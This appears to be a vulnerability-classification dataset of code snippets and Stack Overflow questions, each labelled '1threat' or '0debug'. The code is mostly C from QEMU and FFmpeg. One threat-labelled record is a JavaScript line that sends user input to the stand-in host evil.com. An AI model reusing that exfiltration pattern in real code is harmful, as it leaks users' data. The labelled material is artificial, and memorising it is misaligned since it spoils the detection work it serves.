refcount_table = g_malloc0(2 * cluster_size);
refcount_table[0] = cpu_to_be64(2 * cluster_size);
ret = bdrv_pwrite(bs, cluster_size, refcount_table, 2 * cluster_size);
g_free(refcount_table);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not write refcount table");
goto out;
}
bdrv_unref(bs);
bs = NULL;
ret = bdrv_open(&bs, filename, NULL, NULL,
BDRV_O_RDWR | BDRV_O_CACHE_WB | BDRV_O_NO_FLUSH,
&bdrv_qcow2, &local_err);
if (ret < 0) {
error_propagate(errp, local_err);
goto out;
}
ret = qcow2_alloc_clusters(bs, 3 * cluster_size);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not allocate clusters for qcow2 "
"header and refcount table");
goto out;
} else if (ret != 0) {
error_report("Huh, first cluster in empty image is already in use?");
abort();
}
ret = bdrv_truncate(bs, total_size);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not resize image");
goto out;
}
if (backing_file) {
ret = bdrv_change_backing_file(bs, backing_file, backing_format);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not assign backing file '%s' "
"with format '%s'", backing_file, backing_format);
goto out;
}
}
if (prealloc != PREALLOC_MODE_OFF) {
BDRVQcowState *s = bs->opaque;
qemu_co_mutex_lock(&s->lock);
ret = preallocate(bs);
qemu_co_mutex_unlock(&s->lock);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not preallocate metadata");
goto out;
}
}
bdrv_unref(bs);
bs = NULL;
ret = bdrv_open(&bs, filename, NULL, NULL,
BDRV_O_RDWR | BDRV_O_CACHE_WB | BDRV_O_NO_BACKING,
&bdrv_qcow2, &local_err);
if (local_err) {
error_propagate(errp, local_err);
goto out;
}
ret = 0;
out:
if (bs) {
bdrv_unref(bs);
}
return ret;
}
| 1threat |
Replace characters in column names gsub : <p>I am reading in a bunch of CSVs that have stuff like "sales - thousands" in the title and come into R as "sales...thousands". I'd like to use a regular expression (or other simple method) to clean these up. </p>
<p>I can't figure out why this doesn't work:</p>
<pre><code>#mock data
a <- data.frame(this.is.fine = letters[1:5],
this...one...isnt = LETTERS[1:5])
#column names
colnames(a)
# [1] "this.is.fine" "this...one...isnt"
#function to remove multiple spaces
colClean <- function(x){
colnames(x) <- gsub("\\.\\.+", ".", colnames(x))
}
#run function
colClean(a)
#names go unaffected
colnames(a)
# [1] "this.is.fine" "this...one...isnt"
</code></pre>
<p>but this code does:</p>
<pre><code>#direct change to names
colnames(a) <- gsub("\\.\\.+", ".", colnames(a))
#new names
colnames(a)
# [1] "this.is.fine" "this.one.isnt"
</code></pre>
<p>Note that I'm fine leaving one period between words when that occurs.</p>
<p>Thank you.</p>
| 0debug |
void vhost_net_ack_features(struct vhost_net *net, unsigned features)
{
vhost_ack_features(&net->dev, vhost_net_get_feature_bits(net), features);
} | 1threat |
Safari calculates wrong top position with position sticky in table when there are multiple tbodies : <p>I have a table that is grouped with multiple <code><tbody></code> elements, each one having one initial row with a <code><th></code> element that titles the group. I wan't these <code><th></code>:s to be sticky but I can't get safari to set the correct top position.</p>
<p>If I set <code>top: 0px</code> or any positive value on the <code><th></code>:s it works as expected in Firefox, Chrome and Edge but in safari I get 0px + the height of all above tbodies and caption. This results in all <code><th></code>:s getting stuck at the same time well below the top scroll position.</p>
<p>I can work around the problem by flattening the table, removing the <code><tbody></code> elements and putting all <code><tr></code>:s directly under the table. But that would complicate styling and it makes sense for accessibility to group the table in my case so I'd prefer if I didn't have to do that.</p>
<p>Do you have any ideas how can fix or work around this problem?</p>
<p>Expected (Chrome, Safari and Edge):</p>
<p><a href="https://i.stack.imgur.com/bhip0.png" rel="noreferrer"><img src="https://i.stack.imgur.com/bhip0.png" alt="Works in Chrome, Safari and Edge"></a></p>
<p>Safari 12:</p>
<p><a href="https://i.stack.imgur.com/OpA17.png" rel="noreferrer"><img src="https://i.stack.imgur.com/OpA17.png" alt="Doesn't work in Safari 12"></a></p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>div {
height: 200px;
overflow: auto;
}
td, th {
border: 1px solid gray;
}
th {
position: -webkit-sticky;
position: sticky;
top: 0;
background: white;
}
tbody th {
top: 20px;
}
td {
background: lightgray;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><div>
<table>
<caption>The table</caption>
<thead>
<tr>
<th>First col</th>
<th>Second col</th>
<th>Third col</th>
</tr>
</thead>
<tbody>
<tr>
<th colspan="3">Group 1</th>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
</tbody>
<tbody>
<tr>
<th colspan="3">Group 2</th>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
</tbody>
<tbody>
<tr>
<th colspan="3">Group 3</th>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
<tr>
<td>foo</td>
<td>bar</td>
<td>baz</td>
</tr>
</tbody>
</table>
</div></code></pre>
</div>
</div>
</p>
| 0debug |
Cant able to update table from different database table mysql in php : <p>I cant able to Update my <strong>users</strong> table from different <strong>college</strong> table which is present in another <strong>main</strong> database. But my query running successfully on mysql but when I am trying to execute query using PHP it cant able to update the user database from the college database</p>
<pre><code> UPDATE users
SET
student_name = ( SELECT main.college.Student_Name
FROM main.college
WHERE main.college.Enroll_No = '123456'
LIMIT 1 )
WHERE user_id =5
</code></pre>
<p>Above query successfully running on phpmyadmin. But in PHP cant able to Update the user table</p>
<pre><code><?php
require_once('dbConnect.php');
$sql = "UPDATE users \n"
. "\n"
. "SET \n"
. "\n"
. "student_name = ( SELECT main.college.Student_Name\n"
. " FROM main.college\n"
. "WHERE main.college.Enroll_No = '123456'\n"
. "LIMIT 1 ) \n"
. "WHERE user_id =5";
if(mysqli_query($con,$sql)){
mysqli_query($con,$sql);
echo 'successfully registered';
}else{
echo 'oops! Please try again!';
}
mysqli_close($con);
?>
</code></pre>
| 0debug |
correlation between 25 variables in r : <p>I have a regional dataset and I have to analyze it in the R language. I have to provide the recommendations where can an organization promotes their programs. I want to find a correlation between 25 attributes. can anybody help me out with this?</p>
| 0debug |
void ff_avg_h264_qpel4_mc22_msa(uint8_t *dst, const uint8_t *src,
ptrdiff_t stride)
{
avc_luma_mid_and_aver_dst_4x4_msa(src - (2 * stride) - 2,
stride, dst, stride);
}
| 1threat |
Xamarin Forms Disable swipe between pages in TabbedPage : <p>Is there a way to disable the swiping between TabbedPage on Android in Xamarin Forms?</p>
<p>XAML:</p>
<pre><code><TabbedPage xmlns="http://xamarin.com/schemas/2014/forms"
xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
x:Class="App.MainTabbedPage">
</TabbedPage>
</code></pre>
<p>C#:</p>
<pre><code>using Xamarin.Forms;
using Xamarin.Forms.Xaml;
namespace App
{
[XamlCompilation(XamlCompilationOptions.Compile)]
public partial class MainTabbedPage : TabbedPage
{
public MainTabbedPage ()
{
InitializeComponent();
Children.Add(new PageOne());
Children.Add(new PageTwo());
Children.Add(new PageThree());
}
}
}
</code></pre>
<p>Current behavior is that you can simply swipe to switch between the pages. But I'd like to disable that...
I found <a href="https://github.com/xamarin/Xamarin.Forms/pull/409" rel="noreferrer">this link</a> but I can't seem to implement it in my code. Any help appreciated</p>
| 0debug |
static int bdrv_qed_check(BlockDriverState *bs, BdrvCheckResult *result)
{
return -ENOTSUP;
}
| 1threat |
AWS ECS Create Scheduled Tasks (cron) via Cloudformation : <p>We want to create <a href="http://docs.aws.amazon.com/AmazonECS/latest/developerguide/scheduled_tasks.html" rel="noreferrer">ScheduledTasks</a> in AWS ECS via CloudFormation. Is there a programmatic way to create via boto or cloudformation?</p>
| 0debug |
static int qcow_open(BlockDriverState *bs, QDict *options, int flags,
Error **errp)
{
BDRVQcowState *s = bs->opaque;
unsigned int len, i, shift;
int ret;
QCowHeader header;
Error *local_err = NULL;
bs->file = bdrv_open_child(NULL, options, "file", bs, &child_file,
false, errp);
if (!bs->file) {
return -EINVAL;
}
ret = bdrv_pread(bs->file, 0, &header, sizeof(header));
if (ret < 0) {
goto fail;
}
be32_to_cpus(&header.magic);
be32_to_cpus(&header.version);
be64_to_cpus(&header.backing_file_offset);
be32_to_cpus(&header.backing_file_size);
be32_to_cpus(&header.mtime);
be64_to_cpus(&header.size);
be32_to_cpus(&header.crypt_method);
be64_to_cpus(&header.l1_table_offset);
if (header.magic != QCOW_MAGIC) {
error_setg(errp, "Image not in qcow format");
ret = -EINVAL;
goto fail;
}
if (header.version != QCOW_VERSION) {
error_setg(errp, "Unsupported qcow version %" PRIu32, header.version);
ret = -ENOTSUP;
goto fail;
}
if (header.size <= 1) {
error_setg(errp, "Image size is too small (must be at least 2 bytes)");
ret = -EINVAL;
goto fail;
}
if (header.cluster_bits < 9 || header.cluster_bits > 16) {
error_setg(errp, "Cluster size must be between 512 and 64k");
ret = -EINVAL;
goto fail;
}
if (header.l2_bits < 9 - 3 || header.l2_bits > 16 - 3) {
error_setg(errp, "L2 table size must be between 512 and 64k");
ret = -EINVAL;
goto fail;
}
if (header.crypt_method > QCOW_CRYPT_AES) {
error_setg(errp, "invalid encryption method in qcow header");
ret = -EINVAL;
goto fail;
}
if (!qcrypto_cipher_supports(QCRYPTO_CIPHER_ALG_AES_128,
QCRYPTO_CIPHER_MODE_CBC)) {
error_setg(errp, "AES cipher not available");
ret = -EINVAL;
goto fail;
}
s->crypt_method_header = header.crypt_method;
if (s->crypt_method_header) {
if (bdrv_uses_whitelist() &&
s->crypt_method_header == QCOW_CRYPT_AES) {
error_setg(errp,
"Use of AES-CBC encrypted qcow images is no longer "
"supported in system emulators");
error_append_hint(errp,
"You can use 'qemu-img convert' to convert your "
"image to an alternative supported format, such "
"as unencrypted qcow, or raw with the LUKS "
"format instead.\n");
ret = -ENOSYS;
goto fail;
}
bs->encrypted = true;
}
s->cluster_bits = header.cluster_bits;
s->cluster_size = 1 << s->cluster_bits;
s->cluster_sectors = 1 << (s->cluster_bits - 9);
s->l2_bits = header.l2_bits;
s->l2_size = 1 << s->l2_bits;
bs->total_sectors = header.size / 512;
s->cluster_offset_mask = (1LL << (63 - s->cluster_bits)) - 1;
shift = s->cluster_bits + s->l2_bits;
if (header.size > UINT64_MAX - (1LL << shift)) {
error_setg(errp, "Image too large");
ret = -EINVAL;
goto fail;
} else {
uint64_t l1_size = (header.size + (1LL << shift) - 1) >> shift;
if (l1_size > INT_MAX / sizeof(uint64_t)) {
error_setg(errp, "Image too large");
ret = -EINVAL;
goto fail;
}
s->l1_size = l1_size;
}
s->l1_table_offset = header.l1_table_offset;
s->l1_table = g_try_new(uint64_t, s->l1_size);
if (s->l1_table == NULL) {
error_setg(errp, "Could not allocate memory for L1 table");
ret = -ENOMEM;
goto fail;
}
ret = bdrv_pread(bs->file, s->l1_table_offset, s->l1_table,
s->l1_size * sizeof(uint64_t));
if (ret < 0) {
goto fail;
}
for(i = 0;i < s->l1_size; i++) {
be64_to_cpus(&s->l1_table[i]);
}
s->l2_cache =
qemu_try_blockalign(bs->file->bs,
s->l2_size * L2_CACHE_SIZE * sizeof(uint64_t));
if (s->l2_cache == NULL) {
error_setg(errp, "Could not allocate L2 table cache");
ret = -ENOMEM;
goto fail;
}
s->cluster_cache = g_malloc(s->cluster_size);
s->cluster_data = g_malloc(s->cluster_size);
s->cluster_cache_offset = -1;
if (header.backing_file_offset != 0) {
len = header.backing_file_size;
if (len > 1023 || len >= sizeof(bs->backing_file)) {
error_setg(errp, "Backing file name too long");
ret = -EINVAL;
goto fail;
}
ret = bdrv_pread(bs->file, header.backing_file_offset,
bs->backing_file, len);
if (ret < 0) {
goto fail;
}
bs->backing_file[len] = '\0';
}
error_setg(&s->migration_blocker, "The qcow format used by node '%s' "
"does not support live migration",
bdrv_get_device_or_node_name(bs));
ret = migrate_add_blocker(s->migration_blocker, &local_err);
if (local_err) {
error_propagate(errp, local_err);
error_free(s->migration_blocker);
goto fail;
}
qemu_co_mutex_init(&s->lock);
return 0;
fail:
g_free(s->l1_table);
qemu_vfree(s->l2_cache);
g_free(s->cluster_cache);
g_free(s->cluster_data);
return ret;
}
| 1threat |
How can we use single line array in below vbscript : 'how can we use all values str1,str2 under str1
path="D:\verify\files\"
set fso = CreateObject("Scripting.FileSystemObject")
set directory = fso.GetFolder(path).Files
for each file in directory
if file.Attributes="32" then
Dim sSearchString1, sSearchString2, sSearchString3, sSearchString4,extension
sSearchString1 = "<IDNew>511</IDNew>"
sSearchString2 = "<Name>nielle</Name>"
sSearchString3 = " <IDNew>643</IDNew>"
sSearchString4 = "<Name>ase</Name>"
extension = "xml"
Set oFolder = fso.GetFolder(dir)
For Each fil in oFolder.Files
Set oFile = fso.OpenTextFile(fil.Path, ForReading)
strName1 = fso.GetFileName(fil)
sReadAll = oFile.ReadAll
oFile.Close
If InStr(sReadAll, sSearchString1) > 0 or _
InStr(sReadAll, sSearchString2) > 0 Or _
InStr(sReadAll, sSearchString3) > 0 Or _
InStr(sReadAll, sSearchString4) > 0 Then
count=count+1
fso.CopyFile fil.Path, StrDestinationLocation
cap12=" Backup Success"
strContent = "" &date &space(1) &sms &space(1) &cap12 & Space(2) &strName1
Set objLogs = FSO.OpenTextFile _
(strFileName1 , ForAppending, True)
objLogs.WriteLine(strContent)
objLogs.Close
End If
| 0debug |
-webkit-baseline-middle and -moz-middle-with-baseline : <p>When using browsers web inspectors I came across two different and non-standard property for the CSS attribute <code>vertical-align</code>.</p>
<p><code>-webkit-baseline-middle</code> is only available in Chrome while <code>-moz-middle-with-baseline</code> is available on Firefox. The naming is similar but NOT the same.</p>
<p>I couldn't find any information regarding these two on the web. They are not even listed on <a href="https://developer.mozilla.org/en/docs/Web/CSS/vertical-align" rel="noreferrer">MDN</a>.</p>
<p>My questions: </p>
<ul>
<li>Are they part of any standards?</li>
<li>What is the expected behavior when
using them?</li>
</ul>
| 0debug |
Java program for generation of 16 digit number to orginal number : <p>I have a requirement like i am entering 4 digit number 1101 then i need to generate 16 digit number(1234567891234567). when enter the generated 16 digit number then i need to display the entered number 1101. how to do it in java </p>
| 0debug |
intl.formatMessage not working - react-intl : <p>I am trying to do language translation using <code>react-intl</code>. When I use this <code><FormattedMessage id='importantNews' /></code>, it is working perfect. But when I use the following code with <code>intl.formatMessage()</code>, it is not working and throwing some errors. I don't know what is wrong in it.</p>
<pre><code>import { injectIntl, FormattedMessage } from 'react-intl';
function HelloWorld(props) {
const { intl } = props;
const x = intl.formatMessage('hello') + ' ' + intl.formatMessage('world'); //not working
const y = <FormattedMessage id='hello' />; //working
return (
<button>{x}</button>
);
}
export default injectIntl(HelloWorld);
</code></pre>
<p>My root component is like this,</p>
<pre><code>import ReactDOM from 'react-dom';
import { addLocaleData, IntlProvider } from 'react-intl';
import enLocaleData from 'react-intl/locale-data/en';
import taLocaleData from 'react-intl/locale-data/ta';
import HelloWorld from './hello-world';
addLocaleData([
...enLocaleData,
...taLocaleData
]);
const messages = {
en: {
hello: 'Hello',
world: 'World'
},
ta: {
hello: 'வணக்கம்',
world: 'உலகம்'
}
};
ReactDOM.render(
<IntlProvider key={'en'} locale={'en'} messages={messages['en']}>
<HelloWorld />
</IntlProvider>,
document.getElementById('root')
);
</code></pre>
<p>Can someone help me to solve this issue? Thanks in advance.</p>
| 0debug |
static inline void mix_3f_to_stereo(AC3DecodeContext *ctx)
{
int i;
float (*output)[256] = ctx->audio_block.block_output;
for (i = 0; i < 256; i++) {
output[1][i] += output[2][i];
output[2][i] += output[3][i];
}
memset(output[3], 0, sizeof(output[3]));
}
| 1threat |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
Conflict between Pandas and Unittest? : <p>Consider the following block of code (developed inside a Jupyter notebook), for which it is expected that an <code>AssertionError</code> is raised because a <code>UserWarning</code> is not triggered:</p>
<pre><code>%%writefile Game/tests/tests.py
import unittest
import pandas as pd
class TestGame(unittest.TestCase):
def test_getters(self):
print('Just before the critical line.')
with self.assertWarns(UserWarning):
print('Just testing...')
suite = unittest.TestLoader().loadTestsFromTestCase(TestGame)
unittest.TextTestRunner().run(suite)
</code></pre>
<p>For those unfamiliar with jupyter notebooks, the first line simply exports all following lines into the specified file.</p>
<p>Now if I execute the command:</p>
<pre><code>python3 tests.py
</code></pre>
<p>from the terminal (I am using Python 3.5.1 on Ubuntu 14.04), I get a <code>Runtime Error</code> - the stack trace follows:</p>
<pre><code>Just before the critical line:
E
======================================================================
ERROR: test_getters (__main__.TestGame)
----------------------------------------------------------------------
Traceback (most recent call last):
File "tests.py", line 8, in test_getters
with self.assertWarns(UserWarning):
File "/opt/anaconda3/lib/python3.5/unittest/case.py", line 225, in __enter__
for v in sys.modules.values():
RuntimeError: dictionary changed size during iteration
----------------------------------------------------------------------
Ran 1 test in 0.004s
FAILED (errors=1)
</code></pre>
<p>Obviously the results are not as expected. However, I notice that either of the following options gets the expected results.</p>
<ol>
<li>Commenting out the first line with <code>%%writefile ...</code> and running the code snippet with the Jupyter notebook (which uses the same python interpreter).</li>
<li>Commenting out the <code>import pandas as pd</code> line and running from terminal with the previously given command.</li>
</ol>
<p>Does anyone understand what's going on here?</p>
<p>For reference, the relevant lines in <code>case.py</code> in the <code>unittest</code> module are</p>
<pre><code>for v in sys.modules.values():
if getattr(v, '__warningregistry__', None):
v.__warningregistry__ = {}
</code></pre>
<p>which would seem to be benign code (which I would also presume is tested enough to say that it's not the source of the problem).</p>
| 0debug |
Bitwise operations in Java give different value with similar code? : <p>Short question. I am quite new to doing bit/bytewise operations in Java, but I noticed something strange. </p>
<p>The code below gives as output:</p>
<pre><code>2
0
</code></pre>
<p>code: </p>
<pre><code>String[] nodes = new String[3];
boolean in;
int index = 0;
int hash = "hi".hashCode();
in = (nodes[(index = nodes.length - 1) & hash]) != null;
System.out.println(index);
index = (nodes.length - 1) & hash;
System.out.println(index);
</code></pre>
<p>Why is it, that index has a different value even though the operation to assign a value to index is identical in the 5th and 7th line of code?</p>
<p>Like I said, I'm new to bitwise/bytewise operations so I'm probably missing some background information.</p>
| 0debug |
Safari View Controller uses wrong status bar color : <p>My app uses a dark navigation bar color. Therefore I set the status bar color to white (so it has a nice contrast).</p>
<p><a href="https://i.stack.imgur.com/nDItJ.png" rel="noreferrer"><img src="https://i.stack.imgur.com/nDItJ.png" alt="red navigation bar with white status bar"></a></p>
<p>I did this by setting the <strong>barStyle</strong> to black (to make the status bar white) and also setting the <strong>barTint</strong> to my dark red color. Works perfectly.</p>
<p>I present a <code>SafariViewController</code> like this:</p>
<pre><code>func openWebsite(urlString: String) {
if let url = NSURL(string: urlString) {
let svc = SFSafariViewController(URL: url)
svc.delegate = self
self.presentViewController(svc, animated: true, completion: nil)
}
}
</code></pre>
<p>However the status bar of the presented <code>SafariViewController</code> still is white. This is a problem because the <code>SVC</code> navigation bar has the default white transparent iOS default style. So the status bar is basically invisible.</p>
<p><a href="https://i.stack.imgur.com/o9HoA.png" rel="noreferrer"><img src="https://i.stack.imgur.com/o9HoA.png" alt="safari view controller with white status bar color"></a></p>
<p>How can I fix that?</p>
| 0debug |
static int gen_jz_ecx_string(DisasContext *s, target_ulong next_eip)
{
int l1, l2;
l1 = gen_new_label();
l2 = gen_new_label();
gen_op_jnz_ecx[s->aflag](l1);
gen_set_label(l2);
gen_jmp_tb(s, next_eip, 1);
gen_set_label(l1);
return l2;
}
| 1threat |
How to implement the Python program in java language : <p>Python has the in operator which makes it simple. but how do i implement the below python concept in java since java doesnt have the in operator.
This is a Python program</p>
<pre><code>secret_word = "python"
correct_letters = "oy"
count = 0
while count < len(secret_word):
print(secret_word[count] if secret_word[count] in correct_letters else '_', end=" ")
count += 1
</code></pre>
| 0debug |
Is there a tool that allows me to code for email template and see its Outlook layout real time? : <p>I am trying to make an email layout cross compatible with all clients, but is getting slowed down because I have to use Outlook everytime I make changes. Actually it seems like the only method is to use litmus, so what happens is whenever I make changes to my code, I send a test email to my litmus, then only from there I can check the cross compatibility.</p>
<p>Is there a software/tool I can use to see the layout real time as how I code?</p>
<p>Thanks!</p>
| 0debug |
Calculating percentile counts in python : <p>I have a large array ex
<code>[1,4,5,9,1,4,6,....]</code></p>
<p>I wanna calculate how many elements in total fall below each percentile.
Ex: </p>
<pre><code>4 numbers in 10percentile
7 numbers in 20 percentile
10 numbers in 30 percentile and so on till 100. ```
Is there a simple way to do this
</code></pre>
| 0debug |
static void test_submit_many(void)
{
WorkerTestData data[100];
int i;
for (i = 0; i < 100; i++) {
data[i].n = 0;
data[i].ret = -EINPROGRESS;
thread_pool_submit_aio(worker_cb, &data[i], done_cb, &data[i]);
}
active = 100;
while (active > 0) {
qemu_aio_wait();
}
for (i = 0; i < 100; i++) {
g_assert_cmpint(data[i].n, ==, 1);
g_assert_cmpint(data[i].ret, ==, 0);
}
}
| 1threat |
Classes in python, with def functions that can´t print correctly : > **it might be a question of details, as always, but still, any help would be appreciated**
```
# create a supervilan class
class supervilan:
size = ""
color = ""
powers = ""
weapons = ""
special_ability = ""
def customs(self):
print(self.name + " has a supercool and technologic advanced suit.")
def organic_gear(self, gear):
print(self.name + " use they´re" + gear + " with mastery and precision!")
```
>i reduced the amount of methods to facilitate
```
# methods
Dracula = supervilan()
Dracula.size = "2.12cm"
Dracula.color = "white"
Dracula.organic_gear("Astucy")
Chimical = supervilan()
Chimical.size = "2.30cm"
Chimical.color = "Caucasian"
Dracula.organic_gear()
Chimical.customs()
``` | 0debug |
Android: Run a task on a certain date : <p>Im looking for the best way to complete a certain task when a certain date is reached. What is the best way to a achieve this?</p>
<p>ie. 1st of each month I run command y</p>
| 0debug |
static int get_scale_idx(GetBitContext *gb, int ref)
{
int t = get_vlc2(gb, dscf_vlc.table, MPC7_DSCF_BITS, 1) - 7;
if (t == 8)
return get_bits(gb, 6);
return ref + t;
}
| 1threat |
static BlockJob *find_block_job(const char *device)
{
BlockDriverState *bs;
bs = bdrv_find(device);
if (!bs || !bs->job) {
return NULL;
}
return bs->job;
}
| 1threat |
static av_cold int decode_init(WMAProDecodeCtx *s, AVCodecContext *avctx)
{
uint8_t *edata_ptr = avctx->extradata;
unsigned int channel_mask;
int i, bits;
int log2_max_num_subframes;
int num_possible_block_sizes;
if (avctx->codec_id == AV_CODEC_ID_XMA1 || avctx->codec_id == AV_CODEC_ID_XMA2)
avctx->block_align = 2048;
if (!avctx->block_align) {
av_log(avctx, AV_LOG_ERROR, "block_align is not set\n");
return AVERROR(EINVAL);
}
s->avctx = avctx;
s->fdsp = avpriv_float_dsp_alloc(avctx->flags & AV_CODEC_FLAG_BITEXACT);
if (!s->fdsp)
return AVERROR(ENOMEM);
init_put_bits(&s->pb, s->frame_data, MAX_FRAMESIZE);
avctx->sample_fmt = AV_SAMPLE_FMT_FLTP;
av_log(avctx, AV_LOG_DEBUG, "extradata:\n");
for (i = 0; i < avctx->extradata_size; i++)
av_log(avctx, AV_LOG_DEBUG, "[%x] ", avctx->extradata[i]);
av_log(avctx, AV_LOG_DEBUG, "\n");
if (avctx->codec_id == AV_CODEC_ID_XMA2 && (!avctx->extradata || avctx->extradata_size >= 6)) {
s->decode_flags = 0x10d6;
channel_mask = avctx->extradata ? AV_RL32(edata_ptr+2) : 0;
s->bits_per_sample = 16;
} else if (avctx->codec_id == AV_CODEC_ID_XMA1) {
s->decode_flags = 0x10d6;
s->bits_per_sample = 16;
channel_mask = 0;
} else if (avctx->codec_id == AV_CODEC_ID_WMAPRO && avctx->extradata_size >= 18) {
s->decode_flags = AV_RL16(edata_ptr+14);
channel_mask = AV_RL32(edata_ptr+2);
s->bits_per_sample = AV_RL16(edata_ptr);
if (s->bits_per_sample > 32 || s->bits_per_sample < 1) {
avpriv_request_sample(avctx, "bits per sample is %d", s->bits_per_sample);
return AVERROR_PATCHWELCOME;
}
} else {
avpriv_request_sample(avctx, "Unknown extradata size");
return AVERROR_PATCHWELCOME;
}
if (avctx->codec_id != AV_CODEC_ID_WMAPRO && avctx->channels > 2) {
s->nb_channels = 2;
} else {
s->nb_channels = avctx->channels;
}
s->log2_frame_size = av_log2(avctx->block_align) + 4;
if (s->log2_frame_size > 25) {
avpriv_request_sample(avctx, "Large block align");
return AVERROR_PATCHWELCOME;
}
if (avctx->codec_id != AV_CODEC_ID_WMAPRO)
s->skip_frame = 0;
else
s->skip_frame = 1;
s->packet_loss = 1;
s->len_prefix = (s->decode_flags & 0x40);
if (avctx->codec_id == AV_CODEC_ID_WMAPRO) {
bits = ff_wma_get_frame_len_bits(avctx->sample_rate, 3, s->decode_flags);
if (bits > WMAPRO_BLOCK_MAX_BITS) {
avpriv_request_sample(avctx, "14-bit block sizes");
return AVERROR_PATCHWELCOME;
}
s->samples_per_frame = 1 << bits;
} else {
s->samples_per_frame = 512;
}
log2_max_num_subframes = ((s->decode_flags & 0x38) >> 3);
s->max_num_subframes = 1 << log2_max_num_subframes;
if (s->max_num_subframes == 16 || s->max_num_subframes == 4)
s->max_subframe_len_bit = 1;
s->subframe_len_bits = av_log2(log2_max_num_subframes) + 1;
num_possible_block_sizes = log2_max_num_subframes + 1;
s->min_samples_per_subframe = s->samples_per_frame / s->max_num_subframes;
s->dynamic_range_compression = (s->decode_flags & 0x80);
if (s->max_num_subframes > MAX_SUBFRAMES) {
av_log(avctx, AV_LOG_ERROR, "invalid number of subframes %"PRId8"\n",
s->max_num_subframes);
return AVERROR_INVALIDDATA;
}
if (s->min_samples_per_subframe < WMAPRO_BLOCK_MIN_SIZE) {
av_log(avctx, AV_LOG_ERROR, "min_samples_per_subframe of %d too small\n",
s->min_samples_per_subframe);
return AVERROR_INVALIDDATA;
}
if (s->avctx->sample_rate <= 0) {
av_log(avctx, AV_LOG_ERROR, "invalid sample rate\n");
return AVERROR_INVALIDDATA;
}
if (s->nb_channels <= 0) {
av_log(avctx, AV_LOG_ERROR, "invalid number of channels %d\n",
s->nb_channels);
return AVERROR_INVALIDDATA;
} else if (s->nb_channels > WMAPRO_MAX_CHANNELS) {
avpriv_request_sample(avctx,
"More than %d channels", WMAPRO_MAX_CHANNELS);
return AVERROR_PATCHWELCOME;
}
for (i = 0; i < s->nb_channels; i++)
s->channel[i].prev_block_len = s->samples_per_frame;
s->lfe_channel = -1;
if (channel_mask & 8) {
unsigned int mask;
for (mask = 1; mask < 16; mask <<= 1) {
if (channel_mask & mask)
++s->lfe_channel;
}
}
INIT_VLC_STATIC(&sf_vlc, SCALEVLCBITS, HUFF_SCALE_SIZE,
scale_huffbits, 1, 1,
scale_huffcodes, 2, 2, 616);
INIT_VLC_STATIC(&sf_rl_vlc, VLCBITS, HUFF_SCALE_RL_SIZE,
scale_rl_huffbits, 1, 1,
scale_rl_huffcodes, 4, 4, 1406);
INIT_VLC_STATIC(&coef_vlc[0], VLCBITS, HUFF_COEF0_SIZE,
coef0_huffbits, 1, 1,
coef0_huffcodes, 4, 4, 2108);
INIT_VLC_STATIC(&coef_vlc[1], VLCBITS, HUFF_COEF1_SIZE,
coef1_huffbits, 1, 1,
coef1_huffcodes, 4, 4, 3912);
INIT_VLC_STATIC(&vec4_vlc, VLCBITS, HUFF_VEC4_SIZE,
vec4_huffbits, 1, 1,
vec4_huffcodes, 2, 2, 604);
INIT_VLC_STATIC(&vec2_vlc, VLCBITS, HUFF_VEC2_SIZE,
vec2_huffbits, 1, 1,
vec2_huffcodes, 2, 2, 562);
INIT_VLC_STATIC(&vec1_vlc, VLCBITS, HUFF_VEC1_SIZE,
vec1_huffbits, 1, 1,
vec1_huffcodes, 2, 2, 562);
for (i = 0; i < num_possible_block_sizes; i++) {
int subframe_len = s->samples_per_frame >> i;
int x;
int band = 1;
int rate = get_rate(avctx);
s->sfb_offsets[i][0] = 0;
for (x = 0; x < MAX_BANDS-1 && s->sfb_offsets[i][band - 1] < subframe_len; x++) {
int offset = (subframe_len * 2 * critical_freq[x]) / rate + 2;
offset &= ~3;
if (offset > s->sfb_offsets[i][band - 1])
s->sfb_offsets[i][band++] = offset;
if (offset >= subframe_len)
break;
}
s->sfb_offsets[i][band - 1] = subframe_len;
s->num_sfb[i] = band - 1;
if (s->num_sfb[i] <= 0) {
av_log(avctx, AV_LOG_ERROR, "num_sfb invalid\n");
return AVERROR_INVALIDDATA;
}
}
for (i = 0; i < num_possible_block_sizes; i++) {
int b;
for (b = 0; b < s->num_sfb[i]; b++) {
int x;
int offset = ((s->sfb_offsets[i][b]
+ s->sfb_offsets[i][b + 1] - 1) << i) >> 1;
for (x = 0; x < num_possible_block_sizes; x++) {
int v = 0;
while (s->sfb_offsets[x][v + 1] << x < offset) {
v++;
av_assert0(v < MAX_BANDS);
}
s->sf_offsets[i][x][b] = v;
}
}
}
for (i = 0; i < WMAPRO_BLOCK_SIZES; i++)
ff_mdct_init(&s->mdct_ctx[i], WMAPRO_BLOCK_MIN_BITS+1+i, 1,
1.0 / (1 << (WMAPRO_BLOCK_MIN_BITS + i - 1))
/ (1 << (s->bits_per_sample - 1)));
for (i = 0; i < WMAPRO_BLOCK_SIZES; i++) {
const int win_idx = WMAPRO_BLOCK_MAX_BITS - i;
ff_init_ff_sine_windows(win_idx);
s->windows[WMAPRO_BLOCK_SIZES - i - 1] = ff_sine_windows[win_idx];
}
